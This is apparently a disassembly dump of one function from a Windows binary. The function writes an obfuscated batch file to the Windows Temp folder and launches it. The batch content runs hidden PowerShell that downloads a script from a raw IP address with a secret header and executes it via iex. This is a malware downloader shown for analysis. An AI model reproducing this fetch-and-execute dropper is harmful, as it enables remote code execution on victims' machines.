Function at 0x140014c90
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x14004b080]
xor rax, rsp
mov qword [rsp + 0x70], rax
xor ecx, ecx
call fcn.1400226c0
mov rcx, rax
call fcn.1400216ec
call fcn.1400216c0
mov ebx, eax
mov eax, 0x80808081
imul ebx
add edx, ebx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub ebx, ecx
inc ebx
mov ecx, ebx
call fcn.140013790
add ebx, eax
cmp ebx, 0xffffffe4
jg 0x140014d00
mov edx, 0x8d
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp ebx, 0xffffff61
jg 0x140014d1f
mov edx, 0x8f
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor ebx, ebx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 7
lea ecx, [rbx + 0x30]
call fcn.14001ab58
mov rcx, rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0x17
mov qword [rsp + 0x48], 0x17
movups xmm0, xmmword [str.C:WindowsTemputb.bat]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400444b8]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x1400444c8]
movsd qword [rax + 0x20], xmm0
mov eax, dword [0x1400444d0]
mov dword [rcx + 0x28], eax
movzx eax, word [0x1400444d4]
mov word [rcx + 0x2c], ax
mov word [rcx + 0x2e], bx
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 0x696
lea rdx, str._____w_e____w_c____w_h____w_o____w______w_o____w_f____w_f____w__r_ns____w_e____w_t____w______w______w_u____w_r____w_l____w_____w_h____w_t____w_t____w_p____w_:____w______w______w_1____w_4____w_7____w_.____w_4____w_5____w_.____w_4____w_4____w_.____w_1____w_3____w_1____w______w_i____w_n____w_f____w_o____w_p____w_a____w_g____w_e____w______w_u____w_n____w_t____w_.____w_p____w_s____w_1____w______w__r_ns____w_t____w_a____w_r____w_t____w______w______w_B____w______w_p____w_o____w_w____w_e____w_r____w_s____w_h____w_e____w_l____w_l____w______w______w_W____w_i____w_n____w_d____w_o____w_w____w_S____w_t____w_y____w_l____w_e____w______w_H____w_i____w_d____w_d____w_e____w_n____w______w______w_c____w_o____w_m____w_m____w_a____w_n____w_d____w______w______w_i____w_w____w_r____w______w______w_u____w_s____w_e____w_b____w______w_____w__url_____w______w______w_H____w_e____w_a____w_d____w_e____w_r____w_s____w______w______w_____w_____w_X____w______w_S____w_p____w_e____w_c____w_i____w_a____w_l____w______w_H____w_e____w_a____w_d____w_e____w_r____w_____w_____w_____w_q____w_I____w_n____w_x____w_8____w_F____w_3____w_t____w_u____w_J____w_D____w_H____w_X____w_g____w_O____w_E____w_f____w_P____w_J____w_j____w_b____w_a____w_i____w_p____w_Y____w_a____w_S____w_E____w_1____w_m____w_o____w_b____w_J____w_2____w_Y____w_R____w_y____w_o____w_2____w_r____w_j____w_N____w_g____w_n____w_V____w_D____w_h____w_J____w_v____w_e____w_v____w_N____w_8____w_R____w_2____w_k____w_u____w_8____w_o____w_P____w_C____w_B____w_o____w_n____w_h____w_m____w_p____w_z____w_F____w_b____w_2____w_G____w_Y____w_q____w_P____w_i____w_L____w_h____w_J____w_q____w_____w_____w______w_____w______w_i____w_e____w_x____w______w__r_n_r_n
lea rcx, [rsp + 0x50]
call fcn.140016ed0
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140014820
lea r8, [rsp + 0x30]
cmp qword [rsp + 0x48], 7
cmova r8, qword [rsp + 0x30]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140014e31
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014e2c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014ea0
call fcn.14001ab50
movdqa xmm0, xmmword [0x140044cd0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x140014e82
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014e7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014e9a
call fcn.14001ab50
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14001ab30
add rsp, 0x80
pop rbx
ret
call fcn.140023368
nop
call fcn.140023368
nop
int3